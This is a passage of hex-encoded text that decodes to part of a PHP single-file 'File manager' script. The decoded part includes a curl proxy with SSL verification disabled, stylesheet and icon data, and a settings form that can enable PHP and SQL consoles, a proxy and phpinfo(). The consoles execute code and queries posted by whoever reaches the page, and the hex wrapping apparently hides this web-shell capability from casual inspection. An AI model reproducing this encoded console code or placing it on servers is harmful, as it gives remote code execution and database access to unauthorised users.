0a09096375726c5f7365746f7074282463682c204355524c4f50545f464f4c4c4f574c4f434154494f4e2c2031293b0d0a09096375726c5f7365746f7074282463682c204355524c4f50545f53534c5f564552494659484f53542c30293b0d0a09096375726c5f7365746f7074282463682c204355524c4f50545f53534c5f564552494659504545522c30293b0d0a09096375726c5f7365746f7074282463682c204355524c4f50545f4845414445522c2030293b0d0a09096375726c5f7365746f7074282463682c204355524c4f50545f524546455245522c202475726c293b0d0a09096375726c5f7365746f7074282463682c204355524c4f50545f52455455524e5452414e534645522c74727565293b0d0a090924726573756c74203d206375726c5f6578656328246368293b0d0a09096375726c5f636c6f736528246368293b0d0a09092f2f24726573756c74203d20707265675f7265706c61636528272328737263293d5b225c275d5b687474703a2f2f5d3f285b5e3a5d2a295b225c275d235569272c20275c5c313d22272e2475726c2e272f5c5c3222272c2024726573756c74293b0d0a090924726573756c74203d20707265675f7265706c6163655f63616c6c6261636b28272328687265667c737263293d5b225c275d5b687474703a2f2f5d3f285b5e3a5d2a295b225c275d235569272c2027666d5f75726c5f70726f7879272c2024726573756c74293b0d0a090924726573756c74203d20707265675f7265706c616365282725283c626f64792e2a3f3e292569272c20272431272e273c7374796c653e272e666d5f686f6d655f7374796c6528292e273c2f7374796c653e272e2470726f78795f666f726d2c2024726573756c74293b0d0a09096563686f2024726573756c743b0d0a090964696528293b0d0a097d200d0a7d0d0a3f3e0d0a3c21646f63747970652068746d6c3e0d0a3c68746d6c3e0d0a3c686561643e20202020200d0a093c6d65746120636861727365743d227574662d3822202f3e0d0a093c6d657461206e616d653d2276696577706f72742220636f6e74656e743d2277696474683d6465766963652d77696474682c20696e697469616c2d7363616c653d3122202f3e0d0a202020203c7469746c653e3c3f3d5f5f282746696c65206d616e6167657227293f3e3c2f7469746c653e0d0a3c7374796c653e0d0a626f6479207b0d0a096261636b67726f756e642d636f6c6f723a0977686974653b0d0a09666f6e742d66616d696c793a090956657264616e612c20417269616c2c2048656c7665746963612c2073616e732d73657269663b0d0a09666f6e742d73697a653a0909093870743b0d0a096d617267696e3a090909093070783b0d0a7d0d0a0d0a613a6c696e6b2c20613a6163746976652c20613a76697369746564207b20636f6c6f723a20233030363639393b20746578742d6465636f726174696f6e3a206e6f6e653b207d0d0a613a686f766572207b20636f6c6f723a2023232023453939363741203b20746578742d6465636f726174696f6e3a20756e6465726c696e653b207d0d0a612e74683a6c696e6b207b20636f6c6f723a2023233830383030303b20746578742d6465636f726174696f6e3a206e6f6e653b207d0d0a612e74683a616374697665207b20636f6c6f723a20234646413334463b20746578742d6465636f726174696f6e3a206e6f6e653b207d0d0a612e74683a76697369746564207b20636f6c6f723a20234539393637413b20746578742d6465636f726174696f6e3a206e6f6e653b207d0d0a612e74683a686f766572207b2020636f6c6f723a2023232023453939363741203b20746578742d6465636f726174696f6e3a20756e6465726c696e653b207d0d0a0d0a7461626c652e6267207b0d0a096261636b67726f756e642d636f6c6f723a20234330433043300d0a7d0d0a0d0a74682c207464207b200d0a09666f6e743a096e6f726d616c203870742056657264616e612c20417269616c2c2048656c7665746963612c2073616e732d73657269663b0d0a0970616464696e673a203370783b0d0a7d0d0a0d0a7468097b0d0a096865696768743a09090909323570783b0d0a096261636b67726f756e642d636f6c6f723a09232023463038303830203b0d0a09636f6c6f723a09090909234344354335433b0d0a09666f6e742d7765696768743a0909626f6c643b0d0a09666f6e742d73697a653a090909313170783b0d0a7d0d0a0d0a2e726f7731207b0d0a096261636b67726f756e642d636f6c6f723a0923234630383038303b0d0a7d0d0a0d0a2e726f7732207b0d0a096261636b67726f756e642d636f6c6f723a09234445453345373b0d0a7d0d0a0d0a2e726f7733207b0d0a096261636b67726f756e642d636f6c6f723a09234646433043423b0d0a0970616464696e673a203570783b0d0a7d0d0a0d0a74722e726f77313a686f766572207b0d0a096261636b67726f756e642d636f6c6f723a09234633464346433b0d0a7d0d0a0d0a74722e726f77323a686f766572207b0d0a096261636b67726f756e642d636f6c6f723a09232023383038303030203b0d0a7d0d0a0d0a2e77686f6c65207b0d0a0977696474683a20313030253b0d0a7d0d0a0d0a2e616c6c2074626f64792074643a66697273742d6368696c647b77696474683a313030253b7d0d0a0d0a7465787461726561207b0d0a09666f6e743a203970742027436f7572696572204e6577272c20636f75726965723b0d0a096c696e652d6865696768743a20313235253b0d0a0970616464696e673a203570783b0d0a7d0d0a0d0a2e74657874617265615f696e707574207b0d0a096865696768743a2031656d3b0d0a7d0d0a0d0a2e74657874617265615f696e7075743a666f637573207b0d0a096865696768743a206175746f3b0d0a7d0d0a0d0a696e7075745b747970653d7375626d69745d7b0d0a096261636b67726f756e643a2023464346434643206e6f6e652021696d706f7274616e743b0d0a09637572736f723a20706f696e7465723b0d0a7d0d0a0d0a2e666f6c646572207b0d0a202020206261636b67726f756e642d696d6167653a2075726c2822646174613a696d6167652f706e673b6261736536342c6956424f5277304b47676f414141414e535568455567414141424141414141514341594141414166382f39684141414b54326c44513142516147393062334e6f6233416753554e444948427962325a706247554141486a616e564e6e56465070466a333333765243533469416c4574765568554949464a43693441556b53597149516b51536f67686f646b5655634552525555454738696769414f4f6a6f434d4656457344496f4b3241666b49614b4f67364f49697372373458756a61396138392b624e2f725858507565733835327a7a7766414341795753444e524e59414d715549654565434478385447346551755149454b4a4841414541697a5a43467a2f534d424150682b504477724973414876674142654e4d4c43414441545a76414d4279482f772f7151706c6341594345416342306b54684c43494155414542366a6b4b6d41454247415943646d435a54414b41454147444c59324c6a414641744147416e662b6254414943642b4a6c37415142626c43455641614352414341545a59684541476737414b7a50566f7046414667774142526d53385135414e67744144424a56325a49414c4333414d444f454175794141674d4144425269495570414152374147444949794e344149535a41425247386c633838537575454f6371414142346d624938755351355259466243433178423164584c68346f7a6b6b584b78513259514a686d6b4175776e6d5a47544b424e412f6738387741414b435246524867672f5039654d344f7273374f4e6f3632446c3874367238472f794a695975502b35632b7263454141414f46306674482b4c432b7a476f4137426f42742f71496c3767526f586775676466654c5a724950514c55416f4f6e61562f4e772b483438504557686b4c6e5a3265586b354e684b78454a62596370586666356e776c2f41562f31732b5834382f506631344c37694a4945795859464842506a6777737a30544b55637a35494a68474c63356f39482f4c634c2f2f776430794c4553574b3557436f5534314553635935456d6f7a7a4d71556969554b534b63556c3076396b347438732b774d2b337a554173476f2b415875524c6168645977503253796351574854413476634141504b37623848554b41674467476944346339332f2b382f2f5565674a5143415a6b6d5363514141586b516b4c6c544b737a2f4843414141524b43424b724242472f544247437a4142687a4242647a42432f78674e6f52434a4d544351684243436d534148484a674b617943516969477a6241644b6d4176314541644e4d42526149615463413475776c5734446a3177442f7068434a37424b4c794243515242794167545953486169414669696c676a6a6767586d5958344963464942424b4c4a43444a69425252496b75524e556778556f705549465649486649396367493568317847757045377941417967767947764563786c49477955543355444c564475616733476f52476f6776515a4851786d6f38576f4a765163725161505977326f65665171326750326f382b51386377774f6759427a50456244417578734e4373546773435a4e6a7937456972417972786871775671774475346e3159382b7864775153675558414354594564304967595235425346684d57453759534b67674843513045646f4a4e776b44684648434a794b54714575304a726f522b635159596a4978683168494c435057456f38544c784237694550454e79515369554d794a376d51416b6d787046545345744a47306d3553492b6b73715a733053426f6a6b386e615a477579427a6d554c4341727949586b6e6554443544506b472b5168386c734b6e574a4163615434552b496f5573707153686e6c454f553035515a6c6d444a4256614f615574326f6f5651524e59396151713268746c4b765559656f457a52316d6a6e4e67785a4a533657746f705854476d675861506470722b6830756848646c52354f6c39425830737670522b6958364150306477774e686857447834686e4b426d62474163595a786c33474b2b59544b595a3034735a783151774e7a48726d4f655a44356c765656677174697038465a484b4370564b6c53615647796f76564b6d7170717265716774563831584c56492b70586c4e39726b5a564d31506a71516e556c7174567170315136314d62553265704f366948716d656f6231512f7048355a2f596b4757634e4d773039447046476773562f6a764d596743324d5a733367734957734e71345a31675458454a72484e325878324b7275592f523237697a327171614535517a4e4b4d31657a55764f555a6a3848343568782b4a783054676e6e4b4b65583833364b336854764b65497047365930544c6b785a567872717061586c6c6972534b74527130667276546175376165647072314675316e376751354278306f6e584364485a342f4f425a336e55396c543361634b70785a4e5054723172693671613655626f62744564373975702b36596e723565674a354d623666656562336e2b6878394c2f31552f573336702f5648444667477377776b4274734d7a68673878545678627a77644c3866623856464458634e41513656686c57475834595352756445386f3956476a5559506a476e47584f4d6b343233476263616a4a67596d49535a4c5465704e3770705354626d6d4b6159375444744d7838334d7a614c4e31706b316d7a3078317a4c6e6d2b6562313576667432426165466f73747169327547564a73755261706c6e757472787568566f355761565956567064733061746e61306c317275747536635270376c4f6b3036726e745a6e7737447874736d327162635a734f585942747575746d32326657466e5968646e74385775772b3654765a4e39756e324e2f5430484459665a447173645768312b63375279464470574f7436617a707a7550333346394a62704c3264597a7844503244506a7468504c4b6352706e564f623030646e463265356334507a6949754a53344c4c4c70632b4c707362787433497665524b6450567858654636307657646d374f627775326f32362f754e753570376f66636e3877306e796d6557544e7a304d5049512b42523564452f43352b564d4776667248355051302b425a37586e4979396a4c3546587264657774365633717664683778632b396a35796e2b4d2b347a7733336a4c6557562f4d4e384333794c664c54384e766e6c2b4633304e2f492f396b2f33722f3051436e674355425a774f4a6755474257774c372b48703849622b4f507a72625a666179326531426a4b4335515256426a344b74677558427253466f794f79517253483335356a4f6b633570446f565166756a5730416468356d474c7733344d4a345748685665475034357769466761305447584e58665233454e7a33305436524a5a453370746e4d5538357279314b4e536f2b71693571504e6f33756a5336503859755a6c6e4d3156696457456c73537877354c6971754e6d357376742f3837664f4834703369432b4e3746356776794631776561484f77765346707861704c6849734f705a415449684f4f4a5477515241717142614d4a6649546479574f436e6e4348634a6e49692f524e74474932454e634b68354f386b677154587153374a47384e586b6b78544f6c4c4f5735684365706b4c784d44557a646d7a71654670703249473079505471394d594f536b5a427851716f68545a4f325a2b706e356d5a327936786c68624c2b7857364c747938656c51664a61374f517241565a4c5171325171626f56466f6f31796f48736d646c5632612f7a596e4b4f5a61726e69764e3763797a797475514e357a766e2f2f7445734953345a4b3270595a4c56793064574f613972476f35736a78786564734b347855464b345a5742717738754971324b6d335654367674563565756672306d656b317267563742796f4c4274514672367774564375574666657663312b31645431677657642b31596671476e52732b46596d4b72685462463563566639676f33486a6c4734647679722b5a334a533071617645755754505a744a6d366562654c5a3562447061716c2b6158446d344e3264713044643957744f3331396b58624c35664e4b4e753767375a4475614f2f504c69385a61664a7a7330375031536b565052552b6c513237744c64745748582b4737523768743776505930374e586257377a332f54374a767474564156564e315762565a66744a2b3750335036364a71756e346c7674745861314f6258487478775053412f30484977363231376e5531523353505652536a3959723630634f78782b2b2f7033766479304e4e6731566a5a7a4734694e7752486e6b3666634a332f636544547261646f7837724f454830783932485763644c3270436d764b61527074546d767462596c75365438772b30646271336e7238523973664435773050466c3553764e5579576e6136594c546b3266797a3479646c5a313966693735334744626f725a373532504f33326f50622b2b3645485468306b582f692b63377644764f58504b3464504b79322b5554563768586d71383658323371644f6f382f705054543865376e4c756172726c6361376e756572323165326233365275654e383764394c31353852622f317457654f54336476664e36622f6646392f58664674312b636966397a7375373258636e37713238543778663945447451646c44335966565031762b334e6a76334839717748656738394863522f6347685950502f7048316a77394442592b5a6a387547445962726e6a672b4f546e6950334c393666796e5138396b7a796165462f36692f7375754678597666766a563639664f305a6a526f5a66796c354f2f6258796c2f65724136786d76323862437868362b7958677a4d5637305676767477586663647833766f393850542b52384948386f2f326a3573665654304b66376b786d546b2f384541356a7a2f474d7a4c64734141414147596b74485241442f415038412f36433970354d414141414a6345685a6377414143784d4141417354415143616e4267414141414864456c4e52516663434177474d686c6547414b4f4141414279456c4551565134793857545432735551524446663958544d2b5047494248644545515238654166676761504876547579552b692b4133384146343865664a624b42357a4530494d41566343695268514538676d6d31313173396d5a335a6c2b486d6179357141593847424464545750656f39485652663837324f39785676332f4a6e7243796749553430364b2f7162726250335678622f716a44382b4f534e74432b56583652695579725770584a443261656e667952335873394e336835724649773645415951787341494b4d46782b6366536730646d466b2b714a61517947753074767754324b77455a68414e51575a475667334c5338336575704d3246357969446b45397744505a37363276516656554a68494b5137544461573854696163434f326c4e6e6436786a6c5976706d3439663546754e5a2b584278706f6e354254665771537a4e3441454c41464c712b775362494c4664586767756f6962556a372b767530524b47396a6559486b3675494558496f73515a5a694e575975515351515457467559455633616358546677647869744b72514177756d5969594f334a7a436b56547944577773672b44565a5239594e544c336e714e446e48784e42713266316d6332493141676e4149525266476256514f616d656e795137617937347349337a2b465757483961694f726c4346424f6171714c6f4979696a772b5957485739752b434b6247734963302f73325830624670484d4e5545754b5a5651432f3278306d4d30305038696466414165747a32455477473566613837506e6f73756859424f796f386374744d4a572b3833646c762f74496c33462b62344359797032547877325655774141414141456c46546b5375516d434322293b0d0a7d0d0a0d0a2e66696c65207b0d0a202020206261636b67726f756e642d696d6167653a2075726c2822646174613a696d6167652f706e673b6261736536342c6956424f5277304b47676f414141414e535568455567414141424141414141514341594141414166382f39684141414b54326c44513142516147393062334e6f6233416753554e444948427962325a706247554141486a616e564e6e56465070466a333333765243533469416c4574765568554949464a43693441556b53597149516b51536f67686f646b5655634552525555454738696769414f4f6a6f434d4656457344496f4b3241666b49614b4f67364f49697372373458756a61396138392b624e2f725858507565733835327a7a7766414341795753444e524e59414d715549654565434478385447346551755149454b4a4841414541697a5a43467a2f534d424150682b504477724973414876674142654e4d4c43414441545a76414d4279482f772f7151706c6341594345416342306b54684c43494155414542366a6b4b6d41454247415943646d435a54414b41454147444c59324c6a414641744147416e662b6254414943642b4a6c37415142626c43455641614352414341545a59684541476737414b7a50566f7046414667774142526d53385135414e67744144424a56325a49414c4333414d444f454175794141674d4144425269495570414152374147444949794e344149535a41425247386c633838537575454f6371414142346d624938755351355259466243433178423164584c68346f7a6b6b584b78513259514a686d6b4175776e6d5a47544b424e412f6738387741414b435246524867672f5039654d344f7273374f4e6f3632446c3874367238472f794a695975502b35632b7263454141414f46306674482b4c432b7a476f4137426f42742f71496c3767526f586775676466654c5a724950514c55416f4f6e61562f4e772b483438504557686b4c6e5a3265586b354e684b78454a62596370586666356e776c2f41562f31732b5834382f506631344c37694a4945795859464842506a6777737a30544b55637a35494a68474c63356f39482f4c634c2f2f776430794c4553574b3557436f5534314553635935456d6f7a7a4d71556969554b534b63556c3076396b347438732b774d2b337a554173476f2b415875524c6168645977503253796351574854413476634141504b37623848554b41674467476944346339332f2b382f2f5565674a5143415a6b6d5363514141586b516b4c6c544b737a2f4843414141524b43424b724242472f544247437a4142687a4242647a42432f78674e6f52434a4d544351684243436d534148484a674b617943516969477a6241644b6d4176314541644e4d42526149615463413475776c5734446a3177442f7068434a37424b4c794243515242794167545953486169414669696c676a6a6767586d5958344963464942424b4c4a43444a69425252496b75524e556778556f705549465649486649396367493568317847757045377941417967767947764563786c49477955543355444c564475616733476f52476f6776515a4851786d6f38576f4a765163725161505977326f65665171326750326f382b51386377774f6759427a50456244417578734e4373546773435a4e6a7937456972417972786871775671774475346e3159382b7864775153675558414354594564304967595235425346684d57453759534b67674843513045646f4a4e776b44684648434a794b54714575304a726f522b635159596a4978683168494c435057456f38544c784237694550454e79515369554d794a376d51416b6d787046545345744a47306d3553492b6b73715a733053426f6a6b386e615a477579427a6d554c4341727949586b6e6554443544506b472b5168386c734b6e574a4163615434552b496f5573707153686e6c454f553035515a6c6d444a4256614f615574326f6f5651524e59396151713268746c4b765559656f457a52316d6a6e4e67785a4a533657746f705854476d675861506470722b6830756848646c52354f6c39425830737670522b6958364150306477774e686857447834686e4b426d62474163595a786c33474b2b59544b595a3034735a783151774e7a48726d4f655a44356c765656677174697038465a484b4370564b6c53615647796f76564b6d7170717265716774563831584c56492b70586c4e39726b5a564d31506a71516e556c7174567170315136314d62553265704f366948716d656f6231512f7048355a2f596b4757634e4d773039447046476773562f6a764d596743324d5a733367734957734e71345a31675458454a72484e325878324b7275592f523237697a327171614535517a4e4b4d31657a55764f555a6a3848343568782b4a783054676e6e4b4b65583833364b336854764b65497047365930544c6b785a567872717061586c6c6972534b74527130667276546175376165647072314675316e376751354278306f6e584364485a342f4f425a336e55396c543361634b70785a4e5054723172693671613655626f62744564373975702b36596e723565674a354d623666656562336e2b6878394c2f31552f573336702f5648444667477377776b4274734d7a68673878545678627a77644c3866623856464458634e41513656686c57475834595352756445386f3956476a5559506a476e47584f4d6b343233476263616a4a67596d49535a4c5465704e3770705354626d6d4b6159375444744d7838334d7a614c4e31706b316d7a3078317a4c6e6d2b6562313576667432426165466f73747169327547564a73755261706c6e757472787568566f355761565956567064733061746e61306c317275747536635270376c4f6b3036726e745a6e7737447874736d327162635a734f585942747575746d32326657466e5968646e74385775772b3654765a4e39756e324e2f5430484459665a447173645768312b63375279464470574f7436617a707a7550333346394a62704c3264597a7844503244506a7468504c4b6352706e564f623030646e463265356334507a6949754a53344c4c4c70632b4c707362787433497665524b6450567858654636307657646d374f627775326f32362f754e753570376f66636e3877306e796d6557544e7a304d5049512b42523564452f43352b564d4776667248355051302b425a37586e4979396a4c3546587264657774365633717664683778632b396a35796e2b4d2b347a7733336a4c6557562f4d4e384333794c664c54384e766e6c2b4633304e2f492f396b2f33722f3051436e674355425a774f4a6755474257774c372b48703849622b4f507a72625a666179326531426a4b4335515256426a344b74677558427253466f794f79517253483335356a4f6b633570446f565166756a5730416468356d474c7733344d4a345748685665475034357769466761305447584e58665233454e7a33305436524a5a453370746e4d5538357279314b4e536f2b71693571504e6f33756a5336503859755a6c6e4d3156696457456c73537877354c6971754e6d357376742f3837664f4834703369432b4e3746356776794631776561484f77765346707861704c6849734f705a415449684f4f4a5477515241717142614d4a6649546479574f436e6e4348634a6e49692f524e74474932454e634b68354f386b677154587153374a47384e586b6b78544f6c4c4f5735684365706b4c784d44557a646d7a71654670703249473079505471394d594f536b5a427851716f68545a4f325a2b706e356d5a327936786c68624c2b7857364c747938656c51664a61374f517241565a4c5171325171626f56466f6f31796f48736d646c5632612f7a596e4b4f5a61726e69764e3763797a797475514e357a766e2f2f7445734953345a4b3270595a4c56793064574f613972476f35736a78786564734b347855464b345a5742717738754971324b6d335654367674563565756672306d656b317267563742796f4c4274514672367774564375574666657663312b31645431677657642b31596671476e52732b46596d4b72685462463563566639676f33486a6c4734647679722b5a334a533071617645755754505a744a6d366562654c5a3562447061716c2b6158446d344e3264713044643957744f3331396b58624c35664e4b4e753767375a4475614f2f504c69385a61664a7a7330375031536b565052552b6c513237744c64745748582b4737523768743776505930374e586257377a332f54374a767474564156564e315762565a66744a2b3750335036364a71756e346c7674745861314f6258487478775053412f30484977363231376e5531523353505652536a3959723630634f78782b2b2f7033766479304e4e6731566a5a7a4734694e7752486e6b3666634a332f636544547261646f7837724f454830783932485763644c3270436d764b61527074546d767462596c75365438772b30646271336e7238523973664435773050466c3553764e5579576e6136594c546b3266797a3479646c5a313966693735334744626f725a373532504f33326f50622b2b3645485468306b582f692b63377644764f58504b3464504b79322b5554563768586d71383658323371644f6f382f705054543865376e4c756172726c6361376e756572323165326233365275654e383764394c31353852622f317457654f54336476664e36622f6646392f58664674312b636966397a7375373258636e37713238543778663945447451646c44335966565031762b334e6a76334839717748656738394863522f6347685950502f7048316a77394442592b5a6a387547445962726e6a672b4f546e6950334c393666796e5138396b7a796165462f36692f7375754678597666766a563639664f305a6a526f5a66796c354f2f6258796c2f65724136786d76323862437868362b7958677a4d5637305676767477586663647833766f393850542b52384948386f2f326a3573665654304b66376b786d546b2f384541356a7a2f474d7a4c64734141414147596b74485241442f415038412f36433970354d414141414a6345685a6377414143784d4141417354415143616e4267414141414864456c4e52516663434177474d5467355845455441414142386b6c4551565134793357534d572f54514269476e2b2b377378335864644d41496d306e6b436f685251694a4453457864416c2f415445774950457a6b4669595947526c794d7947784d4c457846684279793941434161613067596e446f6c3978394459695673343664506e6b2f772b393937336e67444a2f76372b2b794149436a2b66493048412f355a7a447538397a6a6d4f6a6f367966722f2f77414a4272396537473459687857534352464839303271565a646e597833463844495157494d7379317049455878536f4d66564a35304665444b557263476377415643414e4531707456716f4b71714b4d61622b72765a68764d626e31792f77673664497449614941474142546b354f534a494539523441455546566363375650663932775062746c487a334352742b6a7170534f32693332385278584e7465685967497072584f2b4f4e7a726c332b677445414557304368734d68575a5931376c35446a4f583030787575376f7a354554336b556d656a4274654154716444484d6577454b39435044412f664d5673367861623233746e49763248672f4634334a79343934674e4748353453666647427166726a306c6153334844515a716d68474749573852577866666e2b4476323531742b74652f5233656e684555535756514e476f7846356e754e58784b4b477277667643486276344b3838776d694a366e4b776a52696a4b4d4959517a6d664934766f5249516933755a33397a35626d35307a614858713476343159447164676768536c6f687a414d796d4f646476376d474d554a5a6c49395a7177453048716f6931463135684a5672744378652b416b67596867545749735a676f67675277567037595743727978696a465741794741796549564b6f63794c57316f2b6f3675634c38486d657a344478582b3864414c47374d6556554141414141456c46546b5375516d434322293b0d0a7d0d0a3c3f3d666d5f686f6d655f7374796c6528293f3e0d0a2e696d67207b0d0a096261636b67726f756e642d696d6167653a200d0a75726c2822646174613a696d6167652f706e673b6261736536342c6956424f5277304b47676f414141414e5355684555674141414241414141415143414d414141416f4c513954414141414247644254554541414b2f494e77574b365141414164465154465246376533742f663339704a2b662b634a616a56387136656e706b47496d2f73464f2f2b324f333933633575626d2f73786264323979696d646e65466736354f546b327a6f5936754869317a41533163724a734873326e79676f334e7262324c42587259746d327035412f2b6858706f5271704b4f6b77726934362b7672304d47333659737a36756a706d4936416e7a5579774c2b2f6d5856536d49424e386277776a315642794c477a61315a4a304e44516a5953422f394e6a775a364377554173786b3062725a79577737706d475a3441364c74646b4864662f2b4e38796f7732376235573837524e4c5a4c2f32626950377741412f2f474a6c356558344e66597361614c6770366831622b742f2b36523638466538397963696d5a642f7551763372394e757043423939563235613163564a62626e48684f2f3878532b4d42613866447769324a69343871692f2b714f6456497a733334782f2f474f58497a59703553502f7378677170694963702b2f73695170636d7073746179737a53414e754b4b543950543034754c6977496b79384c64452b7356577671616d38652f764c35495a2b726c4838634e67303843637a37616438764c79394c745531717955755a342b723531322b38732f7755704c336433647837573166474e612f38395a326366482b73356e364f6a6f6231597473374b7a31396658774967347031644e2b506a347a4c52302b38706437737472684b41732f39686a2f394256314b7466744c53316e703264596c4a535a465656354c5257684546423572685a2f394a71304874542f2f43536b49714a364b35442b4c4e4e626c5656766a4d3034375a4d7a376533317845472f2f2f2f744b677536774141414a7430556b35542f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f2f77435656704b5941414141475852465748525462325a30643246795a5142425a4739695a53424a6257466e5a564a6c5957523563636c6c50414141414e5a4a524546554b464e6a6d4b57695051735a4d4d78696d7371504b704162324d73415a4e6a4c4f776b7a6767566d4a596e7970732f51453539654b434574426861594652666a5a7554684832376c59366b714278596f72532f4f4d43357769485a6b6c3251434356546b4e2b747274466a345a53704d6d617744464244306c436f796e7a5a426c316e494a6a3535456c4241303970647663396275543153594b5942577731514943306f4e59736a7246484a70536b76525973424b4343624d39484c4e3974577262716e6a5555475a47314168477549585a527a70516c3361477744324232635a5a327a456f4c37572b7536717941756e5a58494f4d76517246796b71775469467a42514e4f586a34514b7a6f414b7a616a7459495177416c7674706c33563563384d41414141415355564f524b35435949493d22293b0d0a7d0d0a406d656469612073637265656e20616e6420286d61782d77696474683a3732307078297b0d0a20207461626c657b646973706c61793a626c6f636b3b7d0d0a2020202023666d5f7461626c652074647b646973706c61793a696e6c696e653b666c6f61743a6c6566743b7d0d0a2020202023666d5f7461626c652074626f64792074643a66697273742d6368696c647b77696474683a313030253b70616464696e673a303b7d0d0a2020202023666d5f7461626c652074626f64792074723a6e74682d6368696c6428326e2b31297b6261636b67726f756e642d636f6c6f723a234546454645463b7d0d0a2020202023666d5f7461626c652074626f64792074723a6e74682d6368696c6428326e297b6261636b67726f756e642d636f6c6f723a234445453345373b7d0d0a2020202023666d5f7461626c652074727b646973706c61793a626c6f636b3b666c6f61743a6c6566743b636c6561723a6c6566743b77696474683a313030253b7d0d0a09236865616465725f7461626c65202e726f77322c20236865616465725f7461626c65202e726f7733207b646973706c61793a696e6c696e653b666c6f61743a6c6566743b77696474683a313030253b70616464696e673a303b7d0d0a09236865616465725f7461626c65207461626c65207464207b646973706c61793a696e6c696e653b666c6f61743a6c6566743b7d0d0a7d0d0a3c2f7374796c653e0d0a3c2f686561643e0d0a3c626f64793e0d0a3c3f7068700d0a2475726c5f696e63203d20273f666d3d74727565273b0d0a69662028697373657428245f504f53545b2773716c72756e275d29262621656d7074792824666d5f636f6e6669675b27656e61626c655f73716c5f636f6e736f6c65275d29297b0d0a0924726573203d20656d70747928245f504f53545b2773716c275d29203f202727203a20245f504f53545b2773716c275d3b0d0a09247265735f6c6e67203d202773716c273b0d0a7d20656c736569662028697373657428245f504f53545b2770687072756e275d29262621656d7074792824666d5f636f6e6669675b27656e61626c655f7068705f636f6e736f6c65275d29297b0d0a0924726573203d20656d70747928245f504f53545b27706870275d29203f202727203a20245f504f53545b27706870275d3b0d0a09247265735f6c6e67203d2027706870273b0d0a7d200d0a69662028697373657428245f4745545b27666d5f73657474696e6773275d2929207b0d0a096563686f2027200d0a3c7461626c6520636c6173733d2277686f6c65223e0d0a3c666f726d206d6574686f643d22706f73742220616374696f6e3d22223e0d0a3c74723e3c746820636f6c7370616e3d2232223e272e5f5f282746696c65206d616e6167657227292e27202d20272e5f5f282753657474696e677327292e273c2f74683e3c2f74723e0d0a272e28656d70747928246d7367293f27273a273c74723e3c746420636c6173733d22726f77322220636f6c7370616e3d2232223e272e246d73672e273c2f74643e3c2f74723e27292e270d0a272e666d5f636f6e6669675f636865636b626f785f726f77285f5f282753686f772073697a65206f662074686520666f6c64657227292c2773686f775f6469725f73697a6527292e270d0a272e666d5f636f6e6669675f636865636b626f785f726f77285f5f282753686f7727292e2720272e5f5f2827706963747572657327292c2773686f775f696d6727292e270d0a272e666d5f636f6e6669675f636865636b626f785f726f77285f5f282753686f7727292e2720272e5f5f28274d616b65206469726563746f727927292c276d616b655f6469726563746f727927292e270d0a272e666d5f636f6e6669675f636865636b626f785f726f77285f5f282753686f7727292e2720272e5f5f28274e65772066696c6527292c276e65775f66696c6527292e270d0a272e666d5f636f6e6669675f636865636b626f785f726f77285f5f282753686f7727292e2720272e5f5f282755706c6f616427292c2775706c6f61645f66696c6527292e270d0a272e666d5f636f6e6669675f636865636b626f785f726f77285f5f282753686f7727292e27205048502076657273696f6e272c2773686f775f7068705f76657227292e270d0a272e666d5f636f6e6669675f636865636b626f785f726f77285f5f282753686f7727292e272050485020696e69272c2773686f775f7068705f696e6927292e270d0a272e666d5f636f6e6669675f636865636b626f785f726f77285f5f282753686f7727292e2720272e5f5f282747656e65726174696f6e2074696d6527292c2773686f775f677427292e270d0a272e666d5f636f6e6669675f636865636b626f785f726f77285f5f282753686f7727292e2720786c73272c2773686f775f786c7327292e270d0a272e666d5f636f6e6669675f636865636b626f785f726f77285f5f282753686f7727292e272050485020272e5f5f2827436f6e736f6c6527292c27656e61626c655f7068705f636f6e736f6c6527292e270d0a272e666d5f636f6e6669675f636865636b626f785f726f77285f5f282753686f7727292e272053514c20272e5f5f2827436f6e736f6c6527292c27656e61626c655f73716c5f636f6e736f6c6527292e270d0a3c74723e3c746420636c6173733d22726f7731223e3c696e707574206e616d653d22666d5f636f6e6669675b73716c5f7365727665725d222076616c75653d22272e24666d5f636f6e6669675b2773716c5f736572766572275d2e272220747970653d2274657874223e3c2f74643e3c746420636c6173733d22726f77322077686f6c65223e53514c207365727665723c2f74643e3c2f74723e0d0a3c74723e3c746420636c6173733d22726f7731223e3c696e707574206e616d653d22666d5f636f6e6669675b73716c5f757365726e616d655d222076616c75653d22272e24666d5f636f6e6669675b2773716c5f757365726e616d65275d2e272220747970653d2274657874223e3c2f74643e3c746420636c6173733d22726f77322077686f6c65223e53514c20757365723c2f74643e3c2f74723e0d0a3c74723e3c746420636c6173733d22726f7731223e3c696e707574206e616d653d22666d5f636f6e6669675b73716c5f70617373776f72645d222076616c75653d22272e24666d5f636f6e6669675b2773716c5f70617373776f7264275d2e272220747970653d2274657874223e3c2f74643e3c746420636c6173733d22726f77322077686f6c65223e53514c2070617373776f72643c2f74643e3c2f74723e0d0a3c74723e3c746420636c6173733d22726f7731223e3c696e707574206e616d653d22666d5f636f6e6669675b73716c5f64625d222076616c75653d22272e24666d5f636f6e6669675b2773716c5f6462275d2e272220747970653d2274657874223e3c2f74643e3c746420636c6173733d22726f77322077686f6c65223e53514c2044423c2f74643e3c2f74723e0d0a272e666d5f636f6e6669675f636865636b626f785f726f77285f5f282753686f7727292e272050726f7879272c27656e61626c655f70726f787927292e270d0a272e666d5f636f6e6669675f636865636b626f785f726f77285f5f282753686f7727292e2720706870696e666f2829272c2773686f775f706870696e666f27292e270d0a272e666d5f636f6e6669675f636865636b626f785f726f77285f5f282753686f7727292e2720272e5f5f282753657474696e677327292c27666d5f73657474696e677327292e270d0a272e666d5f636f6e6669675f636865636b626f785f726f77285f5f2827526573746f72652066696c652074696d652061667465722065646974696e6727292c27726573746f72655f74696d6527292e270d0a272e666d5f636f6e6669675f636865636b626f785f726f77285f5f282746696